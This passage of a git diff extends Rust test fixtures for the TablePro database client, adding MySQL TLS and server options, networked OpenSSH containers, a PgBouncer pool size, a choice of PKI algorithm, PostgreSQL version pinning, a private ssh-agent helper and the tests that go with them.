options.require_secure_transport { + principals.push_str(&format!("ALTER USER '{PASSWORD_USER}'@'%' REQUIRE SSL;\n")); + } + principals.push_str(&format!( + "CREATE USER '{client}'@'%' IDENTIFIED BY '{certificate_password}' REQUIRE X509;\n\ GRANT ALL PRIVILEGES ON {DATABASE}.* TO '{client}'@'%';\n" - ); + )); Ok(vec![ ContainerFile::readable(format!("{tls}/ca.pem"), pki.read(PkiFile::Ca)?), ContainerFile::readable(format!("{tls}/server.pem"), pki.read(PkiFile::ServerCertificate)?), @@ -83,7 +120,11 @@ impl MysqlFixture { } pub fn flavour(&self) -> MysqlFlavour { - self.flavour + self.options.flavour + } + + pub fn options(&self) -> &MysqlOptions { + &self.options } pub fn host(&self) -> &str { @@ -102,10 +143,20 @@ impl MysqlFixture { &self.pki } + pub fn network_alias(&self) -> Option<&str> { + self.network_alias.as_deref() + } + pub fn password_credentials(&self) -> FixtureCredentials { FixtureCredentials::new(PASSWORD_USER, &self.password) } + /// The image's `root@'%'`, for a test that has to change a global + /// or watch another session's transaction. + pub fn root_credentials(&self) -> FixtureCredentials { + FixtureCredentials::new(ROOT_USER, &self.root_password) + } + pub fn certificate_credentials(&self) -> FixtureCredentials { FixtureCredentials::new(TestPki::CLIENT_COMMON_NAME, &self.certificate_password) } @@ -118,3 +169,66 @@ impl MysqlFixture { ExecOutput::run(&self.container, command).await } } + +#[cfg(test)] +mod tests { + use super::*; + + fn principals(options: &MysqlOptions) -> String { + let pki = TestPki::generate().unwrap(); + let files = MysqlFixture::files(&pki, options, "secret").unwrap(); + let script = files + .iter() + .find(|file| file.target() == "/docker-entrypoint-initdb.d/10-principals.sql") + .unwrap(); + String::from_utf8(script.contents().to_vec()).unwrap() + } + + #[test] + fn the_default_server_refuses_plaintext_for_every_user() { + let options = MysqlOptions::new(MysqlFlavour::Mysql); + + assert!(MysqlFixture::server_arguments(&options).contains(&"--require-secure-transport=ON".to_owned())); + assert!(principals(&options).contains("ALTER USER 'tablepro'@'%' REQUIRE SSL;")); + } + + #[test] + fn allowing_plaintext_lifts_both_tls_requirements_but_keeps_x509() { + let options = MysqlOptions::new(MysqlFlavour::Mariadb).allowing_plaintext(); + let script = principals(&options); + + assert!( + !MysqlFixture::server_arguments(&options) + .iter() + .any(|argument| argument.starts_with("--require-secure-transport")) + ); + assert!(!script.contains("REQUIRE SSL")); + assert!(script.contains("REQUIRE X509")); + } + + #[test] + fn only_a_trusting_server_lets_the_password_user_create_routines() { + let trusting = "--log-bin-trust-function-creators=ON".to_owned(); + + assert!(!MysqlFixture::server_arguments(&MysqlOptions::new(MysqlFlavour::Mysql)).contains(&trusting)); + assert!( + MysqlFixture::server_arguments(&MysqlOptions::new(MysqlFlavour::Mariadb).trusting_function_creators()) + .contains(&trusting) + ); + } + + #[test] + fn extra_server_arguments_come_after_the_tls_arguments() { + let options = MysqlOptions::new(MysqlFlavour::Mysql).with_server_argument("--sql-mode=NO_BACKSLASH_ESCAPES"); + let arguments = MysqlFixture::server_arguments(&options); + + assert_eq!( + arguments.first().map(String::as_str), + Some("--ssl-ca=/etc/mysql/tls/ca.pem") + ); + assert_eq!( + arguments.last().map(String::as_str), + Some("--sql-mode=NO_BACKSLASH_ESCAPES") + ); + } +} diff --git a/linux/crates/test-fixtures/src/mysql_options.rs b/linux/crates/test-fixtures/src/mysql_options.rs new file mode 100644 index 0000000000..4cc5ba8759 --- /dev/null +++ b/linux/crates/test-fixtures/src/mysql_options.rs @@ -0,0 +1,48 @@ +use crate::MysqlFlavour; + +/// How a MySQL or MariaDB fixture's server is started. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct MysqlOptions { + pub flavour: MysqlFlavour, + /// Off lets the password user log in without TLS, which the RSA + /// password exchange needs to be tested at all. The TLS suites keep + /// it on, so a plaintext login is refused by the server itself. + pub require_secure_transport: bool, + /// On lets the password user create triggers and routines. MySQL's + /// binary log is on, and without it only a login with SUPER may + /// create one. + pub trust_function_creators: bool, + /// Passed to the server after the TLS arguments, so a test can set a + /// global such as `--sql-mode` before any session exists. + pub server_arguments: Vec, +} + +impl MysqlOptions { + pub fn new(flavour: MysqlFlavour) -> Self { + Self { + flavour, + require_secure_transport: true, + trust_function_creators: false, + server_arguments: Vec::new(), + } + } + + pub fn allowing_plaintext(self) -> Self { + Self { + require_secure_transport: false, + ..self + } + } + + pub fn trusting_function_creators(self) -> Self { + Self { + trust_function_creators: true, + ..self + } + } + + pub fn with_server_argument(mut self, argument: impl Into) -> Self { + self.server_arguments.push(argument.into()); + self + } +} diff --git a/linux/crates/test-fixtures/src/openssh_fixture.rs b/linux/crates/test-fixtures/src/openssh_fixture.rs index 1c76467e35..4355496a16 100644 --- a/linux/crates/test-fixtures/src/openssh_fixture.rs +++ b/linux/crates/test-fixtures/src/openssh_fixture.rs @@ -6,13 +6,14 @@ use testcontainers::{ContainerAsync, GenericImage, ImageExt}; use tokio::io::AsyncReadExt; use tokio::net::TcpStream; use tokio::time::Instant; +use uuid::Uuid; use crate::container_file::with_files; use crate::{ ContainerFile, ExecOutput, FixtureCredentials, FixtureError, FixtureImage, HostCertificate, SshAuthVariant, + TestNetwork, }; -const CONTAINER_PORT: u16 = 2222; const USERNAME: &str = "tablepro"; const BANNER_TIMEOUT: Duration = Duration::from_secs(60); const BANNER_ATTEMPT: Duration = Duration::from_secs(2); @@ -25,13 +26,26 @@ pub struct OpenSshFixture { password: String, host: String, port: u16, + network_alias: Option, } impl OpenSshFixture { pub const DROP_IN: &'static str = "/config/sshd/sshd_config.d/tablepro.conf"; pub const SSHD_CONFIG: &'static str = "/config/sshd/sshd_config"; + pub const CONTAINER_PORT: u16 = 2222; pub async fn start(variant: SshAuthVariant) -> Result { + Self::launch(variant, None).await + } + + /// Start a server that reaches the network's other containers by + /// alias. Each server gets its own alias, so a two-hop chain can put + /// two of them on one network. + pub async fn start_in(variant: SshAuthVariant, network: &TestNetwork) -> Result { + Self::launch(variant, Some(network)).await + } + + async fn launch(variant: SshAuthVariant, network: Option<&TestNetwork>) -> Result { let password = FixtureCredentials::generate_password(); let host_certificate = match variant { SshAuthVariant::HostCertificate => Some(HostCertificate::generate().await?), @@ -39,7 +53,7 @@ impl OpenSshFixture { }; let mut request = FixtureImage::OPENSSH .generic() - .with_exposed_port(CONTAINER_PORT.tcp()) + .with_exposed_port(Self::CONTAINER_PORT.tcp()) .with_wait_for(WaitFor::message_on_stdout("[ls.io-init] done.")) .with_env_var("USER_NAME", USERNAME) .with_env_var("USER_PASSWORD", &password) @@ -54,9 +68,16 @@ impl OpenSshFixture { if let Some(certificate) = &host_certificate { files.extend(certificate.files()?); } + let network_alias = network.map(|network| { + let suffix = Uuid::new_v4().simple().to_string(); + network.container_name(&format!("sshd-{}", &suffix[..8])) + }); + if let (Some(network), Some(alias)) = (network, &network_alias) { + request = request.with_network(network.name()).with_container_name(alias); + } let container = with_files(request, files).start().await?; let host = container.get_host().await?.to_string(); - let port = container.get_host_port_ipv4(CONTAINER_PORT).await?; + let port = container.get_host_port_ipv4(Self::CONTAINER_PORT).await?; wait_for_banner(&host, port).await?; Ok(Self { container, @@ -65,6 +86,7 @@ impl OpenSshFixture { password, host, port, + network_alias, }) } @@ -93,6 +115,10 @@ impl OpenSshFixture { self.port } + pub fn network_alias(&self) -> Option<&str> { + self.network_alias.as_deref() + } + pub fn variant(&self) -> &SshAuthVariant { &self.variant } diff --git a/linux/crates/test-fixtures/src/pgbouncer_fixture.rs b/linux/crates/test-fixtures/src/pgbouncer_fixture.rs index 9b6165d873..d099472e53 100644 --- a/linux/crates/test-fixtures/src/pgbouncer_fixture.rs +++ b/linux/crates/test-fixtures/src/pgbouncer_fixture.rs @@ -1,3 +1,5 @@ +use std::num::NonZeroU32; + use testcontainers::core::{IntoContainerPort, WaitFor}; use testcontainers::runners::AsyncRunner; use testcontainers::{ContainerAsync, GenericImage, ImageExt}; @@ -15,17 +17,29 @@ pub struct PgBouncerFixture { upstream: PostgresFixture, network: TestNetwork, pool_mode: PoolMode, + pool_size: NonZeroU32, host: String, port: u16, } impl PgBouncerFixture { + /// PgBouncer's own default, so a fixture started without a size + /// behaves like an unconfigured pooler. + pub const DEFAULT_POOL_SIZE: NonZeroU32 = NonZeroU32::new(20).expect("20 is not zero"); + pub async fn start(pool_mode: PoolMode) -> Result { + Self::start_with_pool_size(pool_mode, Self::DEFAULT_POOL_SIZE).await + } + + /// A pool of one server connection makes every client share the same + /// backend, which is how a test proves no session state leaks out. + pub async fn start_with_pool_size(pool_mode: PoolMode, pool_size: NonZeroU32) -> Result { let network = TestNetwork::new(); let upstream = PostgresFixture::start_in(HbaMode::Password, &network).await?; let upstream_host = network.container_name(PostgresFixture::NETWORK_ROLE); let files = Self::files( pool_mode, + pool_size, &upstream_host, upstream.database(), &upstream.password_credentials(), @@ -44,6 +58,7 @@ impl PgBouncerFixture { upstream, network, pool_mode, + pool_size, host, port, }) @@ -51,6 +66,7 @@ impl PgBouncerFixture { pub fn files( pool_mode: PoolMode, + pool_size: NonZeroU32, upstream_host: &str, database: &str, credentials: &FixtureCredentials, @@ -66,6 +82,7 @@ impl PgBouncerFixture { auth_type = scram-sha-256\n\ auth_file = /etc/pgbouncer/userlist.txt\n\ pool_mode = {mode}\n\ + default_pool_size = {pool_size}\n\ max_prepared_statements = 0\n\ ignore_startup_parameters = extra_float_digits,options\n" ); @@ -88,6 +105,10 @@ impl PgBouncerFixture { self.pool_mode } + pub fn pool_size(&self) -> NonZeroU32 { + self.pool_size + } + pub fn network(&self) -> &TestNetwork { &self.network } @@ -104,3 +125,26 @@ impl PgBouncerFixture { &self.container } } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_configuration_carries_the_mode_and_the_pool_size() { + let credentials = FixtureCredentials::new("tablepro", "secret"); + let files = PgBouncerFixture::files( + PoolMode::Transaction, + NonZeroU32::MIN, + "upstream", + "tablepro", + &credentials, + ); + let configuration = String::from_utf8(files[0].contents().to_vec()).unwrap(); + + assert_eq!(files[0].target(), "/etc/pgbouncer/pgbouncer.ini"); + assert!(configuration.contains("pool_mode = transaction\n")); + assert!(configuration.contains("default_pool_size = 1\n")); + assert!(configuration.contains("tablepro = host=upstream port=5432 dbname=tablepro\n")); + } +} diff --git a/linux/crates/test-fixtures/src/pki_algorithm.rs b/linux/crates/test-fixtures/src/pki_algorithm.rs new file mode 100644 index 0000000000..58775cca2a --- /dev/null +++ b/linux/crates/test-fixtures/src/pki_algorithm.rs @@ -0,0 +1,32 @@ +use rcgen::{PKCS_ECDSA_P384_SHA384, PKCS_ED25519, PKCS_RSA_SHA256, SignatureAlgorithm}; + +/// The key type a whole test PKI is built from. +/// +/// It applies to the CAs as well as the leaves, because a certificate's +/// signature algorithm is its issuer's, and PostgreSQL channel binding +/// hashes the server certificate by that signature algorithm. +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)] +pub enum PkiAlgorithm { + #[default] + RsaSha256, + EcdsaP384Sha384, + Ed25519, +} + +impl PkiAlgorithm { + pub const ALL: [Self; 3] = [Self::RsaSha256, Self::EcdsaP384Sha384, Self::Ed25519]; + + pub(crate) fn signature_algorithm(self) -> &'static SignatureAlgorithm { + match self { + Self::RsaSha256 => &PKCS_RSA_SHA256, + Self::EcdsaP384Sha384 => &PKCS_ECDSA_P384_SHA384, + Self::Ed25519 => &PKCS_ED25519, + } + } + + /// Only an RSA key can encrypt, so key encipherment is a usage an + /// ECDSA or Ed25519 certificate must not claim. + pub(crate) fn enciphers_keys(self) -> bool { + matches!(self, Self::RsaSha256) + } +} diff --git a/linux/crates/test-fixtures/src/postgres_fixture.rs b/linux/crates/test-fixtures/src/postgres_fixture.rs index 2cf714d834..f6ee0b2a30 100644 --- a/linux/crates/test-fixtures/src/postgres_fixture.rs +++ b/linux/crates/test-fixtures/src/postgres_fixture.rs @@ -4,7 +4,8 @@ use testcontainers_modules::postgres::Postgres; use crate::container_file::with_files; use crate::{ - ContainerFile, ExecOutput, FixtureCredentials, FixtureError, FixtureImage, HbaMode, PkiFile, TestNetwork, TestPki, + ContainerFile, ExecOutput, FixtureCredentials, FixtureError, HbaMode, PkiAlgorithm, PkiFile, PostgresVersion, + TestNetwork, TestPki, }; const DATABASE: &str = "tablepro"; @@ -19,6 +20,7 @@ pub struct PostgresFixture { container: ContainerAsync, pki: TestPki, hba: HbaMode, + version: PostgresVersion, password: String, host: String, port: u16, @@ -30,22 +32,39 @@ impl PostgresFixture { pub const NETWORK_ROLE: &'static str = "postgres"; pub async fn start(hba: HbaMode) -> Result { - Self::launch(hba, None).await + Self::launch(hba, PostgresVersion::default(), None, PkiAlgorithm::default()).await } pub async fn start_in(hba: HbaMode, network: &TestNetwork) -> Result { - Self::launch(hba, Some(network)).await + Self::launch(hba, PostgresVersion::default(), Some(network), PkiAlgorithm::default()).await } - async fn launch(hba: HbaMode, network: Option<&TestNetwork>) -> Result { - let pki = TestPki::generate()?; + pub async fn start_version(version: PostgresVersion, hba: HbaMode) -> Result { + Self::launch(hba, version, None, PkiAlgorithm::default()).await + } + + /// A server whose whole PKI is of one key type, for the channel + /// binding cases: the server hashes its certificate by the + /// algorithm that signed it. + pub async fn start_with_pki(hba: HbaMode, algorithm: PkiAlgorithm) -> Result { + Self::launch(hba, PostgresVersion::default(), None, algorithm).await + } + + async fn launch( + hba: HbaMode, + version: PostgresVersion, + network: Option<&TestNetwork>, + algorithm: PkiAlgorithm, + ) -> Result { + let pki = TestPki::generate_with(algorithm)?; let password = FixtureCredentials::generate_password(); + let image = version.image(); let mut request = Postgres::default() .with_db_name(DATABASE) .with_user(PASSWORD_USER) .with_password(&password) - .with_name(FixtureImage::POSTGRES.name) - .with_tag(FixtureImage::POSTGRES.tag); + .with_name(image.name) + .with_tag(image.tag); if let Some(command) = Self::server_command(hba) { request = request.with_cmd(command); } @@ -60,6 +79,7 @@ impl PostgresFixture { container, pki, hba, + version, password, host, port, @@ -118,6 +138,10 @@ impl PostgresFixture { self.hba } + pub fn version(&self) -> PostgresVersion { + self.version + } + pub fn pki(&self) -> &TestPki { &self.pki } diff --git a/linux/crates/test-fixtures/src/postgres_version.rs b/linux/crates/test-fixtures/src/postgres_version.rs new file mode 100644 index 0000000000..79cc35fe3e --- /dev/null +++ b/linux/crates/test-fixtures/src/postgres_version.rs @@ -0,0 +1,48 @@ +use crate::FixtureImage; + +/// The PostgreSQL major a fixture runs. +/// +/// The catalog and the decoders have to hold on the oldest and the +/// newest server the app supports, so those two ends are the choices +/// beside the default. +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)] +pub enum PostgresVersion { + V13, + #[default] + V17, + V18, +} + +impl PostgresVersion { + pub fn image(self) -> FixtureImage { + match self { + Self::V13 => FixtureImage::POSTGRES_13, + Self::V17 => FixtureImage::POSTGRES, + Self::V18 => FixtureImage::POSTGRES_18, + } + } + + pub fn major(self) -> u32 { + match self { + Self::V13 => 13, + Self::V17 => 17, + Self::V18 => 18, + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn each_version_pins_the_image_of_its_major() { + for version in [PostgresVersion::V13, PostgresVersion::V17, PostgresVersion::V18] { + let image = version.image(); + + assert_eq!(image.name, "postgres"); + assert_eq!(image.tag, format!("{}-alpine", version.major())); + } + assert_eq!(PostgresVersion::default().image(), FixtureImage::POSTGRES); + } +} diff --git a/linux/crates/test-fixtures/src/ssh_agent.rs b/linux/crates/test-fixtures/src/ssh_agent.rs new file mode 100644 index 0000000000..b856b307c0 --- /dev/null +++ b/linux/crates/test-fixtures/src/ssh_agent.rs @@ -0,0 +1,135 @@ +use std::ffi::OsStr; +use std::path::{Path, PathBuf}; +use std::process::{Child, Command, Output, Stdio}; +use std::time::Duration; + +use tempfile::TempDir; +use tokio::time::Instant; + +use crate::host_command::run_host_command_with_env; +use crate::{FixtureError, SshKeyPair}; + +const SOCKET_TIMEOUT: Duration = Duration::from_secs(10); +const SOCKET_RETRY: Duration = Duration::from_millis(20); + +/// A private `ssh-agent` on the host, for tests of agent authentication +/// that must not touch the developer's own agent. +/// +/// It runs in the foreground and is killed when this is dropped, so a +/// failed test leaves no agent behind. +pub struct SshAgent { + process: Child, + socket: PathBuf, + _dir: TempDir, +} + +impl SshAgent { + pub async fn start() -> Result { + let dir = tempfile::tempdir()?; + let socket = dir.path().join("agent.sock"); + let process = Command::new("ssh-agent") + .arg("-D") + .arg("-a") + .arg(&socket) + .stdin(Stdio::null()) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .spawn()?; + let agent = Self { + process, + socket, + _dir: dir, + }; + agent.wait_for_socket().await?; + Ok(agent) + } + + /// What `SSH_AUTH_SOCK` points at for a client of this agent. + pub fn socket(&self) -> &Path { + &self.socket + } + + /// Load a key, and its `-cert.pub` certificate when one sits beside + /// it, the way `ssh-add` does. + pub async fn add(&self, key: &SshKeyPair) -> Result<(), FixtureError> { + self.ssh_add([key.private_key().as_os_str()]).await.map(drop) + } + + /// The public keys the agent holds, one OpenSSH line each. + pub async fn identities(&self) -> Result, FixtureError> { + let output = tokio::process::Command::new("ssh-add") + .arg("-L") + .env("SSH_AUTH_SOCK", &self.socket) + .stdin(Stdio::null()) + .output() + .await?; + match output.status.code() { + Some(0) => Ok(String::from_utf8_lossy(&output.stdout) + .lines() + .map(str::to_owned) + .collect()), + // ssh-add -L exits 1 for an agent with no keys, which is an + // answer rather than a failure. + Some(1) => Ok(Vec::new()), + _ => Err(FixtureError::HostCommand { + program: "ssh-add", + status: output.status, + stderr: String::from_utf8_lossy(&output.stderr).into_owned(), + }), + } + } + + async fn ssh_add<'a>(&self, arguments: impl IntoIterator) -> Result { + let environment = [("SSH_AUTH_SOCK", self.socket.as_os_str())]; + run_host_command_with_env("ssh-add", arguments, environment).await + } + + async fn wait_for_socket(&self) -> Result<(), FixtureError> { + let deadline = Instant::now() + SOCKET_TIMEOUT; + while Instant::now() < deadline { + if self.socket.exists() { + return Ok(()); + } + tokio::time::sleep(SOCKET_RETRY).await; + } + Err(FixtureError::NotReady { + service: "ssh-agent", + seconds: SOCKET_TIMEOUT.as_secs(), + }) + } +} + +impl Drop for SshAgent { + fn drop(&mut self) { + // An agent that already exited has nothing left to stop. + let _ = self.process.kill(); + let _ = self.process.wait(); + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[tokio::test] + async fn an_added_key_is_listed_by_the_private_agent() { + let agent = SshAgent::start().await.unwrap(); + let key = SshKeyPair::generate("tablepro-agent-test").await.unwrap(); + assert_eq!(agent.identities().await.unwrap(), Vec::::new()); + + agent.add(&key).await.unwrap(); + + assert_eq!(agent.identities().await.unwrap(), vec![key.public_key().to_owned()]); + } + + #[tokio::test] + async fn dropping_the_agent_stops_it() { + let agent = SshAgent::start().await.unwrap(); + let process = std::path::PathBuf::from(format!("/proc/{}", agent.process.id())); + assert!(process.exists()); + + drop(agent); + + assert!(!process.exists(), "the agent outlived its fixture"); + } +} diff --git a/linux/crates/test-fixtures/src/test_pki.rs b/linux/crates/test-fixtures/src/test_pki.rs index fe31490165..deee29fd0f 100644 --- a/linux/crates/test-fixtures/src/test_pki.rs +++ b/linux/crates/test-fixtures/src/test_pki.rs @@ -5,14 +5,15 @@ use std::path::{Path, PathBuf}; use rcgen::{ BasicConstraints, CertificateParams, DistinguishedName, DnType, ExtendedKeyUsagePurpose, IsCa, Issuer, KeyPair, - KeyUsagePurpose, PKCS_RSA_SHA256, + KeyUsagePurpose, }; use tempfile::TempDir; -use crate::{FixtureError, PkiFile}; +use crate::{FixtureError, PkiAlgorithm, PkiFile}; pub struct TestPki { dir: TempDir, + algorithm: PkiAlgorithm, } impl TestPki { @@ -20,25 +21,30 @@ impl TestPki { pub const CLIENT_COMMON_NAME: &'static str = "tablepro_client"; pub fn generate() -> Result { - let (ca_pem, ca) = certificate_authority("TablePro Test CA")?; - let (unrelated_ca_pem, _) = certificate_authority("Unrelated Test CA")?; + Self::generate_with(PkiAlgorithm::default()) + } + + pub fn generate_with(algorithm: PkiAlgorithm) -> Result { + let (ca_pem, ca) = certificate_authority("TablePro Test CA", algorithm)?; + let (unrelated_ca_pem, _) = certificate_authority("Unrelated Test CA", algorithm)?; - let server_key = KeyPair::generate_for(&PKCS_RSA_SHA256)?; + let server_key = KeyPair::generate_for(algorithm.signature_algorithm())?; let mut server = CertificateParams::new(Self::SERVER_NAMES.map(str::to_owned).to_vec())?; server.distinguished_name = common_name(Self::SERVER_NAMES[0]); - server.key_usages = vec![KeyUsagePurpose::DigitalSignature, KeyUsagePurpose::KeyEncipherment]; + server.key_usages = leaf_key_usages(algorithm); server.extended_key_usages = vec![ExtendedKeyUsagePurpose::ServerAuth]; let server_certificate = server.signed_by(&server_key, &ca)?; - let client_key = KeyPair::generate_for(&PKCS_RSA_SHA256)?; + let client_key = KeyPair::generate_for(algorithm.signature_algorithm())?; let mut client = CertificateParams::new(Vec::::new())?; client.distinguished_name = common_name(Self::CLIENT_COMMON_NAME); - client.key_usages = vec![KeyUsagePurpose::DigitalSignature, KeyUsagePurpose::KeyEncipherment]; + client.key_usages = leaf_key_usages(algorithm); client.extended_key_usages = vec![ExtendedKeyUsagePurpose::ClientAuth]; let client_certificate = client.signed_by(&client_key, &ca)?; let pki = Self { dir: tempfile::tempdir()?, + algorithm, }; pki.write(PkiFile::Ca, ca_pem.as_bytes())?; pki.write(PkiFile::UnrelatedCa, unrelated_ca_pem.as_bytes())?; @@ -53,6 +59,10 @@ impl TestPki { self.dir.path() } + pub fn algorithm(&self) -> PkiAlgorithm { + self.algorithm + } + pub fn path(&self, file: PkiFile) -> PathBuf { self.dir.path().join(file.file_name()) } @@ -73,8 +83,11 @@ impl TestPki { } } -fn certificate_authority(name: &str) -> Result<(String, Issuer<'static, KeyPair>), FixtureError> { - let key = KeyPair::generate_for(&PKCS_RSA_SHA256)?; +fn certificate_authority( + name: &str, + algorithm: PkiAlgorithm, +) -> Result<(String, Issuer<'static, KeyPair>), FixtureError> { + let key = KeyPair::generate_for(algorithm.signature_algorithm())?; let mut params = CertificateParams::new(Vec::::new())?; params.distinguished_name = common_name(name); params.is_ca = IsCa::Ca(BasicConstraints::Unconstrained); @@ -87,6 +100,14 @@ fn certificate_authority(name: &str) -> Result<(String, Issuer<'static, KeyPair> Ok((certificate.pem(), Issuer::new(params, key))) } +fn leaf_key_usages(algorithm: PkiAlgorithm) -> Vec { + if algorithm.enciphers_keys() { + vec![KeyUsagePurpose::DigitalSignature, KeyUsagePurpose::KeyEncipherment] + } else { + vec![KeyUsagePurpose::DigitalSignature] + } +} + fn common_name(name: &str) -> DistinguishedName { let mut distinguished_name = DistinguishedName::new(); distinguished_name.push(DnType::CommonName, name); @@ -131,9 +152,46 @@ mod tests { #[test] fn server_certificate_verifies_against_the_issuing_ca() { - let pki = TestPki::generate().unwrap(); - for name in TestPki::SERVER_NAMES { - verify(&pki, PkiFile::Ca, name).unwrap(); + for algorithm in PkiAlgorithm::ALL { + let pki = TestPki::generate_with(algorithm).unwrap(); + for name in TestPki::SERVER_NAMES { + verify(&pki, PkiFile::Ca, name).unwrap_or_else(|error| panic!("{algorithm:?}: {error}")); + } + let error = verify(&pki, PkiFile::UnrelatedCa, "localhost").unwrap_err(); + assert!( + matches!( + error, + rustls::Error::InvalidCertificate(CertificateError::UnknownIssuer) + ), + "{algorithm:?}: {error}" + ); + } + } + + #[test] + fn every_certificate_is_signed_with_the_chosen_algorithm() { + let signature_oids: [(PkiAlgorithm, &[u8]); 3] = [ + ( + PkiAlgorithm::RsaSha256, + &[0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b], + ), + ( + PkiAlgorithm::EcdsaP384Sha384, + &[0x06, 0x08, 0x2a, 0x86, 0x48, 0xce, 0x3d, 0x04, 0x03, 0x03], + ), + (PkiAlgorithm::Ed25519, &[0x06, 0x03, 0x2b, 0x65, 0x70]), + ]; + for (algorithm, oid) in signature_oids { + let pki = TestPki::generate_with(algorithm).unwrap(); + assert_eq!(pki.algorithm(), algorithm); + for file in [PkiFile::Ca, PkiFile::ServerCertificate, PkiFile::ClientCertificate] { + let certificate = CertificateDer::from_pem_file(pki.path(file)).unwrap(); + assert!( + certificate.windows(oid.len()).any(|window| window == oid), + "{algorithm:?} {}", + file.file_name() + ); + } } } diff --git a/linux/crates/test-fixtures/tests/fixtures.rs b/linux/crates/test-fixtures/tests/fixtures.rs index bec102d62f..614712689c 100644 --- a/linux/crates/test-fixtures/tests/fixtures.rs +++ b/linux/crates/test-fixtures/tests/fixtures.rs @@ -5,10 +5,12 @@ use std::sync::Arc; use rustls::RootCertStore; use rustls::pki_types::pem::PemObject; use rustls::pki_types::{CertificateDer, ServerName}; +use std::process::Stdio; + use tablepro_test_fixtures::{ ClickHouseFixture, ExecOutput, FixtureCredentials, HbaMode, HostKeyRevocation, MssqlFixture, MysqlFixture, - MysqlFlavour, OpenSshFixture, PgBouncerFixture, PkiFile, PoolMode, PostgresFixture, ScriptedAskpass, - SshAuthVariant, SshKeyPair, TestPki, + MysqlFlavour, MysqlOptions, OpenSshFixture, PgBouncerFixture, PkiFile, PoolMode, PostgresFixture, PostgresVersion, + ScriptedAskpass, SshAuthVariant, SshKeyPair, TestNetwork, TestPki, }; use tokio::io::{AsyncReadExt, AsyncWriteExt}; use tokio::net::TcpStream; @@ -408,7 +410,6 @@ async fn revoked_host_key_is_refused_by_ssh() -> TestResult { } #[tokio::test] -#[ignore = "requires docker"] async fn generated_pki_matches_the_files_the_fixtures_copy() -> TestResult { let pki = TestPki::generate()?; @@ -417,3 +418,136 @@ async fn generated_pki_matches_the_files_the_fixtures_copy() -> TestResult { } Ok(()) } + +/// Open a direct-tcpip channel through the server to `target` with +/// `ssh -W`, write `request` into it and return what comes back. +async fn through_ssh( + fixture: &OpenSshFixture, + key: &SshKeyPair, + target: &str, + request: &[u8], +) -> Result, Box> { + let credentials = fixture.password_credentials(); + let mut child = tokio::process::Command::new("ssh") + .args(["-p", &fixture.port().to_string(), "-i"]) + .arg(key.private_key()) + .args([ + "-o", + "BatchMode=yes", + "-o", + "StrictHostKeyChecking=no", + "-o", + "UserKnownHostsFile=/dev/null", + "-W", + target, + ]) + .arg(format!("{}@{}", credentials.username, fixture.host())) + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .stderr(Stdio::null()) + .spawn()?; + let mut stdin = child.stdin.take().ok_or("no stdin")?; + stdin.write_all(request).await?; + let mut stdout = child.stdout.take().ok_or("no stdout")?; + let mut reply = vec![0_u8; 64]; + let read = tokio::time::timeout(std::time::Duration::from_secs(30), stdout.read(&mut reply)).await??; + reply.truncate(read); + drop(stdin); + child.kill().await?; + Ok(reply) +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn postgres_fixture_runs_the_requested_major() -> TestResult { + for version in [PostgresVersion::V13, PostgresVersion::V18] { + let fixture = PostgresFixture::start_version(version, HbaMode::Password).await?; + let output = fixture + .exec(&[ + "psql", + "-U", + "tablepro", + "-d", + "tablepro", + "-tAc", + "SHOW server_version_num", + ]) + .await?; + + assert!(output.succeeded(), "{}", output.stderr_text()); + assert!( + output.stdout_text().trim().starts_with(&version.major().to_string()), + "{version:?} reported {}", + output.stdout_text() + ); + assert_eq!(fixture.version(), version); + } + Ok(()) +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn openssh_fixture_on_a_network_forwards_to_postgres_by_alias() -> TestResult { + let network = TestNetwork::new(); + let database = PostgresFixture::start_in(HbaMode::Password, &network).await?; + let key = SshKeyPair::generate("tablepro-network-test").await?; + let fixture = OpenSshFixture::start_in(SshAuthVariant::PublicKey(key), &network).await?; + let SshAuthVariant::PublicKey(key) = fixture.variant() else { + return Err("the fixture lost its key".into()); + }; + let alias = database.network_alias().ok_or("no alias")?; + + let reply = through_ssh(&fixture, key, &format!("{alias}:5432"), &PG_SSL_REQUEST).await?; + + assert_eq!(reply, b"N", "the image's default server answers SSLRequest with N"); + assert!( + fixture + .network_alias() + .is_some_and(|own| own.starts_with(network.name())) + ); + Ok(()) +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn clickhouse_fixture_on_a_network_answers_by_alias() -> TestResult { + let network = TestNetwork::new(); + let clickhouse = ClickHouseFixture::start_in(&network).await?; + let key = SshKeyPair::generate("tablepro-network-test").await?; + let fixture = OpenSshFixture::start_in(SshAuthVariant::PublicKey(key), &network).await?; + let SshAuthVariant::PublicKey(key) = fixture.variant() else { + return Err("the fixture lost its key".into()); + }; + let alias = clickhouse.network_alias().ok_or("no alias")?; + let target = format!("{alias}:{}", ClickHouseFixture::HTTP_PORT); + + let reply = through_ssh(&fixture, key, &target, b"GET /ping HTTP/1.0\r\n\r\n").await?; + + assert!(String::from_utf8_lossy(&reply).starts_with("HTTP/1.0 200"), "{reply:?}"); + Ok(()) +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn mysql_options_set_root_plaintext_and_server_globals() -> TestResult { + let options = MysqlOptions::new(MysqlFlavour::Mysql) + .allowing_plaintext() + .with_server_argument("--sql-mode=NO_BACKSLASH_ESCAPES"); + let fixture = MysqlFixture::start_with(options, None).await?; + let script = |credentials: FixtureCredentials, sql: &str| { + format!( + "mysql --protocol=TCP -h 127.0.0.1 -u '{}' -p'{}' --ssl-mode=DISABLED --get-server-public-key -N -e '{sql}'", + credentials.username, credentials.password, + ) + }; + + let global = script(fixture.root_credentials(), "SELECT @@GLOBAL.sql_mode"); + let global = fixture.exec(&["sh", "-c", &global]).await?; + let plaintext = script(fixture.password_credentials(), "SELECT 1"); + let plaintext = fixture.exec(&["sh", "-c", &plaintext]).await?; + + assert!(global.succeeded(), "{}", global.stderr_text()); + assert_eq!(global.stdout_text().trim(), "NO_BACKSLASH_ESCAPES"); + assert!(plaintext.succeeded(), 